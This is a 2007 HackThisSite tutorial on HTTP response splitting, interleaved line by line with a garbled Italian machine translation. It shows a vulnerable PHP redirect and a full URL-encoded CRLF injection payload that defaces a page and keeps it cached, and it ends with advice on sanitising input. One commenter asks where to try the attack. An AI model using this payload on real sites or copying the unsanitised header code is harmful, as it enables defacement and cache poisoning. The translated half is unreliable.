Hack questo sito!

[ Advertise With HackThisSite.org :: Hide These Ads ] [Pubblicità HackThisSite.org:: Nascondi questi annunci]

We refuse the role assigned to us: we will not be trained as police dogs Ci rifiutiamo il ruolo assegnato a noi: noi non saranno addestrati come cani di polizia

HTS costs up to $300 a month to operate. HTS costi fino a $ 300 al mese per funzionare. We need your help! Abbiamo bisogno del vostro aiuto!

Donors also receive special recognition on our donors page. Anche i donatori ricevono un riconoscimento speciale sui nostri donatori pagina.

FR DE ES IT PT FR DE ES IT PT

Link to us! Link al nostro sito!

phoenix free shells fenice libera gusci
hackergames.net hackergames.net
PullThePlug PullThePlug

HTTP Response Splitting HTTP response splitting
Published by: Kane , on 2007-10-01 18:08:57 Pubblicato da: Kane, il 2007-10-01 18:08:57
HTTP Response Splitting is a fairly new type of Web App security vulnerability. Dividere la risposta HTTP è un nuovo tipo di Web App vulnerabilità di sicurezza. The idea behind it is, you find a website that takes user submitted data, and writes it to the HTTP header. L'idea alla base è, a trovare un sito web che l'utente ha presentato i dati, e scrive al HTTP. An example of this is a Location: redirect. Un esempio di questo è un Localizzazione: reindirizzamento. Heres the PHP code that takes a website, and redirects you to it. Ecco il codice PHP che tiene un sito web, e vi reindirizza ad esso. http://site.com/redirect.php?page=http://www.google.com CODE : CODICE: `<?php` `<? php` `header("Location: $_GET['page']");` `intestazione ( "Location: $ _GET [ 'pagina']");` `?>` `?>` As you can see, the 'page' variable is passed to the Location header to redirect the user. Come potete vedere, la 'pagina' variabile viene passata al Posizione intestazione per reindirizzare l'utente. Heres what the request and reply headers look like: Ecco ciò che la domanda e risposta intestazioni aspetto: Request: Richiesta: CODE : CODICE: `GET /index.php?page=http://www.google.com\r\n` `GET / index.php? Page = http://www.google.com \ r \ n` `HTTP/1.1\r\n` `HTTP/1.1 \ r \ n` `Host: site.com\r\n` `Host: site.com \ r \ n` `Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,/;q=0.5\r\n` `Accetto: text / xml, application / xml, application / xhtml + xml, text / html; q = 0.9, text / plain; q = 0.8, image / png ,/; q = 0.5 \ r \ n` `Accept-Language: en-us,en;q=0.5\r\n` `Accept-Language: en-us, it; q = 0.5 \ r \ n` `Accept-Encoding: gzip,deflate\r\n` `Accept-Encoding: gzip, deflate \ r \ n` `Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7\r\n` `Accept-Charset: ISO-8859-1, utf-8; q = 0.7, ; q = 0.7 \ r \ n` `Keep-Alive: 300\r\n` `Keep-Alive: 300 \ r \ n` `Connection: keep-alive\r\n` `Connessione: keep-alive \ r \ n` `\r\n` `\ r \ n` Reply: (302 Redirect) Risposta: (302 Redirect) CODE : CODICE: `HTTP/1.1 302 Found\r\n` `HTTP/1.1 302 Trovato \ r \ n` `Date: Tue, 02 Oct 2007 1:40:00 GMT\r\n` `Data: mar, 02 ottobre 2007 1:40:00 GMT \ r \ n` `Server: Apache/0.0.0 (Windows) PHP/0.0.0` `Server: Apache/0.0.0 (Windows) PHP/0.0.0` `Location: http://www.google.com\r\n` `Location: http://www.google.com \ r \ n` `The users fake headers will be here` `Gli utenti intestazioni fittizie sarà qui` `Keep-Alive: timeout=15, max=100\r\n` `Keep-Alive: timeout = 15, max = 100 \ r \ n` `Connection: Keep-Alive\r\n` `Connection: Keep-Alive \ r \ n` `Transfer-Encoding: chunked\r\n` `Trasferimento-Encoding: Chunked \ r \ n` `Content-Type: text/html\r\n` `Content-Type: text / html \ r \ n` `\r\n` `\ r \ n` Now the server sends you to the requested URL (google.com): Ora il server invia la richiesta di URL (google.com): CODE : CODICE: `GET / HTTP/1.1` `GET / HTTP/1.1` `Host: www.google.com` `Host: www.google.com` `Accept:text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,/;q=0.5` `Accetto: text / xml, application / xml, application / xhtml + xml, text / html; q = 0.9, text / plain; q = 0.8, image / png ,/; q = 0.5` `Accept-Language: en-us,en;q=0.5` `Accept-Language: en-us, it; q = 0.5` `Accept-Encoding: gzip,deflate` `Accept-Encoding: gzip, deflate` `Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7` `Accept-Charset: ISO-8859-1, utf-8; q = 0.7, ; q = 0,7` `Keep-Alive: 300` `Keep-Alive: 300` `Connection: keep-alive` `Connessione: keep-alive` The server will respond with a 200 Found response and show you the requested document, Google.com. Il server risponderà con un massimale di 200 Trovato risposta e visualizzare il documento richiesto, Google.com. Hopefully you noticed whats at the end of each line. Speriamo che ha notato che cosa alla fine di ogni riga. \r\n \ r \ n Which is also represented as: Che è anche rappresentata come: CR LF and, CR LF e, %0d %0a % 0D% 0a So, you should know how to fake headers. Quindi, si dovrebbe sapere come intestazioni fittizie. Basically, if you inject a CR LF in the header, you can inject your own and you have your attack. Fondamentalmente, se si inietta un CR LF in intestazione, è possibile iniettare il proprio e avete il vostro attacco. Now, what can be accomplished with this? Ora, ciò che può essere realizzato con questo? Well, you can re-write the page. Ebbene, è possibile ri-scrivere la pagina. Allowing for XSS, HTML Injection, and you can even tell the browser to cache your 'defaced' page by setting either, Consentendo XSS, HTML di iniezione, e si può anche dire la cache del browser in modo che il tuo 'cancellati' dalla pagina di impostazione o, Last-Modified: Cache-Control: or, Cache-Control: o, Pragma To a date ahead of the current. Per una data prima della corrente. So, lets inject our own headers to rewrite the page and tell the browser to cache it. Quindi, consente di iniettare le nostre intestazioni di riscrivere la pagina e dire la cache del browser in modo da essa. Our Injection: Il nostro Iniezione: CODE : CODICE: `\r\n` `\ r \ n` `Content-Type: text/html\r\n` `Content-Type: text / html \ r \ n` `HTTP/1.1 OK\r\n` `OK HTTP/1.1 \ r \ n` `Content-Type: text/html\r\n` `Content-Type: text / html \ r \ n` `Last-Modified: 5 Oct 12:00:00 GMT\r\n` `Last-Modified: 5 ottobre 12:00:00 GMT \ r \ n` `\r\n` `\ r \ n` `<html><h1>Defaced!</h1></html>` `<html> <h1> cancellati! </ h1> </ html>` Heres what the request and reply headers look like: Ecco ciò che la domanda e risposta intestazioni aspetto: Request: Richiesta: CODE : CODICE: `GET /index.php?page=%0d%0aContent-Type:%20text/html%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aLast-` `GET / index.php? Page =% 0D% 0aContent-Type:% 20text/html% 0D% 0aHTTP/1.1% 20200% 20OK% 0D% 0aContent-Type:% 20text/html% 0D% 0aLast -` `Modified:%20Tue,%205%20Oct%202007%2012:00:00%20GMT%0d%0a%0d%0a%3Chtml%3E%3Ch1%3EDefaced!%3C/html%3E\r\n` `Modified: 20Tue%,% 205% 20Oct% 202007% 2012:00:00% 20GMT% 0D% 0a% 0D% 0a% 3Chtml% 3E% 3Ch1% 3EDefaced! 3C/html% 3E% \ r \ n` `HTTP/1.1\r\n` `HTTP/1.1 \ r \ n` `Host: http://site.com\r\n` `Host: http://site.com \ r \ n` `Accept:text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,/;q=0.5\r\n` `Accetto: text / xml, application / xml, application / xhtml + xml, text / html; q = 0.9, text / plain; q = 0.8, image / png ,/; q = 0.5 \ r \ n` `Accept-Language: en-us,en;q=0.5\r\n` `Accept-Language: en-us, it; q = 0.5 \ r \ n` `Accept-Encoding: gzip,deflate\r\n` `Accept-Encoding: gzip, deflate \ r \ n` `Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7\r\n` `Accept-Charset: ISO-8859-1, utf-8; q = 0.7, ; q = 0.7 \ r \ n` `Keep-Alive: 300\r\n` `Keep-Alive: 300 \ r \ n` `Connection: keep-alive\r\n` `Connessione: keep-alive \ r \ n` `\r\n` `\ r \ n` Response: (302 Found) Risposta: (302 Trovato) CODE : CODICE: `HTTP/1.1 302 Found` `HTTP/1.1 302 Trovato` `Normal header here` `Normale intestazione qui` `Date: Tue, 02 Oct 2007 1:40:00 GMT\r\n` `Data: mar, 02 ottobre 2007 1:40:00 GMT \ r \ n` `Server: Apache/0.0.0 (Windows) PHP/0.0.0` `Server: Apache/0.0.0 (Windows) PHP/0.0.0` `Location:` `Posizione:` `Content-Type: text/html` `Content-Type: text / html` `HTTP/1.1 200 OK` `HTTP/1.1 200 OK` `Our response has been injected here` `La nostra risposta è stata iniettata qui` `Content-Type: text/html` `Content-Type: text / html` `<html><h1>Defaced!</h1></html>` `<html> <h1> cancellati! </ h1> </ html>` `Our above code gets shown as the redirected page` `Il nostro codice di cui sopra viene mostrato come la pagina reindirizzata` `Keep-Alive: timeout=15, max=100` `Keep-Alive: timeout = 15, max = 100` `Connection: Keep-Alive` `Connection: Keep-Alive` `Transfer-Encoding: chunked` `Trasferimento-Encoding: Chunked` `Content-Type: text/html` `Content-Type: text / html` As you can see in the example above, the server runs the normal 302 response, then, our injected code gets placed instead of the redirect which will cause it to show on the page. Come si può vedere nell'esempio precedente, il server gestisce la risposta normale 302, quindi, il nostro codice viene iniettato posto invece di riorientare il che provoca a mostrare sulla pagina. Allowing for the payload of our choice. Tenendo conto del carico utile di nostra scelta. And as a bonus, it gets cached until the 5'th of October ;) E come un bonus, si arriva fino alla cache 5'th del mese di ottobre;) So up until that day, providing they don't clear their cache, they will see the defaced page. Quindi, fino a quel giorno, purché non chiara la loro cache, che vedrà la pagina cancellati. Now, to protect yourself against this attack, be sure to sanitize input against: Ora, per proteggere se stessi contro questo attacco, assicurarsi di ingresso sanitizzare contro: CR LF CR LF \r\n and, \ r \ n, e, %0d%0a % 0D% 0a And any other forms of encoding for these characters before parsing them to the HTTP Headers. E qualsiasi altra forma di codifica per questi caratteri prima di parsing di intestazioni HTTP. Hope that explains it... La speranza che si spiega ... ;)
Cast your vote on this article Cast il vostro voto su questo articolo Note: the order of the votes has been reversed. Nota: l'ordine delle votazioni è stato invertito.

Comments: Commento:
Published: 20 comments. Pubblicato: 20 commenti.

Kane - 01:43 pm Monday October 01st, 2007 Kane - 01:43 pm Lunedi ottobre 01a, 2007

Aww... Aww ... It ruined the pretty layout :( E 'piuttosto rovinato il layout: (

DaC - 01:54 pm Monday October 01st, 2007 DAC - 01:54 pm Lunedi ottobre 01a, 2007

doesnt matter, its a good article :) doesn't materia, la sua un buon articolo:)

its nice to read, not new theme, but thanks for writing. la sua piacevole da leggere, non nuovo tema, ma grazie per la scrittura. got 9 points ha ottenuto 9 punti

Tormn - 01:55 pm Monday October 01st, 2007 Tormn - 01:55 pm Lunedi ottobre 01a, 2007

Lol, I can see you\'ve photoshop\'d your avatar Kane. Lol, posso vederla \ 've Photoshop \' d Kane il tuo avatar. XP Looks like the preset background with KANE lettering... XP si presenta come di sfondo preimpostato con KANE caratteri ... Preset lettering with color overlay and outer glow. Preset con caratteri di colore e sovrapposizione bagliore esterno. And the only thing you changed the color on is the color overlay XP. E l'unica cosa che ha cambiato il colore su colore è la sovrapposizione XP. GET A BETTER AVATAR! Ottenere una migliore avatar! NO PRESETS. N preset. XP love you too, btw nice article, I only read about the \\r\\n thing. XP ti amo troppo, btw bel articolo, ho solo letto sul \ \ r \ \ n cosa. Its cool. Il suo fresco. My email has it so I\'ll try it. La mia email è così mi \ 'll try it.

BTW, 10 points only because I /love you Kane. BTW, 10 punti solo perché mi / vi amo Kane.

yourmysin - 02:01 pm Monday October 01st, 2007 yourmysin - 02:01 pm Lunedi ottobre 01a, 2007

Intresting article, very easy to follow for the beginners. Intresting articolo, molto facile da seguire per i principianti.

Kane - 02:06 pm Monday October 01st, 2007 Kane - 02:06 pm Lunedi ottobre 01a, 2007

@DaC, I hate when the layout goes to shit :P But thanks for the vote ;) @ DAC, Odio quando il layout va a merda: P Ma grazie per il voto;)

@Tormn, make me a better avatar and I\'ll use it XD @ Tormn, fa di me una migliore Avatar e io \ 'll usarlo XD

@Yourmysin, yay thanks :P @ Yourmysin, yay grazie: P

genocidepromoter - 02:25 pm Monday October 01st, 2007 genocidepromoter - 02:25 pm Lunedi ottobre 01a, 2007

<3 Kane .... <3 Kane ....
<3 Kane\'s article :P <3 Kane \ 's articolo: P

lordofwhee - 04:47 pm Monday October 01st, 2007 lordofwhee - 04:47 pm Lunedi ottobre 01a, 2007

Awesome article, especially among the flood of crap we\'ve been having recently. Awesome articolo, in particolare tra la marea di merda noi \ 've stato avendo di recente.

c24lightning - 06:46 pm Monday October 01st, 2007 c24lightning - 06:46 pm Lunedi ottobre 01a, 2007

i think this article is the highest % in a long time. Penso che questo articolo è la più alta% in un lungo periodo di tempo. (98% currently) (Attualmente 98%)

10/10 10.10

nos_slived - 08:06 pm Monday October 01st, 2007 nos_slived - 08:06 pm Lunedi ottobre 01a, 2007

Kane, I love you. Kane, ti amo. Finally something both unique and well written. Finalmente qualcosa di unico e sia ben scritta. Best of all, it isn\'ta mission walkthrough. Migliore di tutti, essa non è \ 't missione panoramica.

vicarious - 10:19 pm Monday October 01st, 2007 ausiliario - 10:19 pm Lunedi ottobre 01a, 2007

10 10 10 10 ;D 10 10 10 10; D

Kane - 03:01 am Tuesday October 02nd, 2007 Kane - 03:01 am Martedì 02a ottobre, 2007

Thanks for the responses XD Grazie per le risposte XD

venkman - 09:18 am Wednesday October 03rd, 2007 Venkman - 09:18 am Mercoledì ottobre 03a, 2007

Yay, good text Kane, you won the status of Citizen writing that ;_) Yay, buon testo Kane, è vinto lo status di cittadino iscritto che; _)

InferiorTerror - 05:40 pm Wednesday October 03rd, 2007 InferiorTerror - 05:40 pm Mercoledì ottobre 03a, 2007

Nice, I have not seen a good article in awhile. Nizza, non ho visto un buon articolo in un po 'di tempo.

masterboot - 08:07 pm Sunday October 14th, 2007 masterboot - 08:07 pm Domenica 14 ottobre, 2007

this is a good article. questo è un buon articolo. Thanks Grazie

tommosimmo - 04:24 am Sunday October 21st, 2007 tommosimmo - 04:24 am Domenica 21 ottobre 2007

Whats a good program to edit Http-Headers with? Cerco un buon programma per modificare le intestazioni HTTP-con?

Cheers, Salute,
ToM Tom

Kane - 05:59 am Thursday October 25th, 2007 Kane - 05:59 am Giovedi 25 Ottobre 2007

Live HTTP Headers - A plugin for Mozilla Firefox Live HTTP - Un plugin per Mozilla Firefox

dw0rek - 01:10 pm Friday November 09th, 2007 dw0rek - Venerdì 01:10 pm novembre 09a, 2007

With default install of Apache/2.2.4 (Win32) PHP/5.2.4 the header function Con l'installazione base di Apache/2.2.4 (Win32) PHP/5.2.4 l'intestazione funzione
checks for CRLF injections, and displays the following warning message if more CRLF controlli per preparazioni iniettabili, e visualizza il seguente messaggio di avviso se più
than one line is detected, IE. di una riga viene rilevato, IE. a carriage return, line feed has been used. un ritorno a carrello, la linea di alimentazione è stato utilizzato.

Warning: Header may not contain more than a single header, new line detected. Attenzione: Intestazione non può contenere più di una singola testata, nuova linea rilevato. in D:\\www\\g.php on line 2 in D: \ \ www \ \ g.php sulla linea 2

whatsLOVE - 11:09 pm Sunday April 13th, 2008 whatsLOVE - 11:09 pm Domenica 13 aprile, 2008

Man all of Kane are sexy and I wis Kanes sexy too Kane add me clever.hacker@hotmail.com L'uomo di tutti i Kane sono sexy e mi Sap Kanes troppo sexy Kane aggiungere mi clever.hacker @ hotmail.com

lpata29 - 03:43 am Tuesday May 20th, 2008 lpata29 - 03:43 am Martedì 20 maggio 2008

wat are some sites i can try this on wat sono alcuni siti che posso provare su questo

aronramires - 08:14 pm Thursday November 06th, 2008 aronramires - Giovedi 08:14 pm novembre 06a, 2008

du have friendsters? du friendsters sono? hihihi

This site is the collective work of the HackThisSite staff. Questo sito è il contratto collettivo di lavoro del personale HackThisSite. Please don't reproduce in part or whole without permission. Si prega di non riprodurre in parte o in tutto senza permesso.
Page Generated: Mon, 01 Dec 2008 20:04:56 -0500 Exec: 10 Pagina Generata: lun, 01 dicembre 2008 20:04:56 -0500 Esec: 10
_{Page loaded in 0.35465 seconds!} _{Pagina caricata in 0,35465 secondi!}

Donate Donazioni

Challenges Sfide

Get Informed Get Informed

Get Involved Get Involved

Communicate Comunicare

About HTS A proposito di HTS

Translate Tradurre

Partners Partner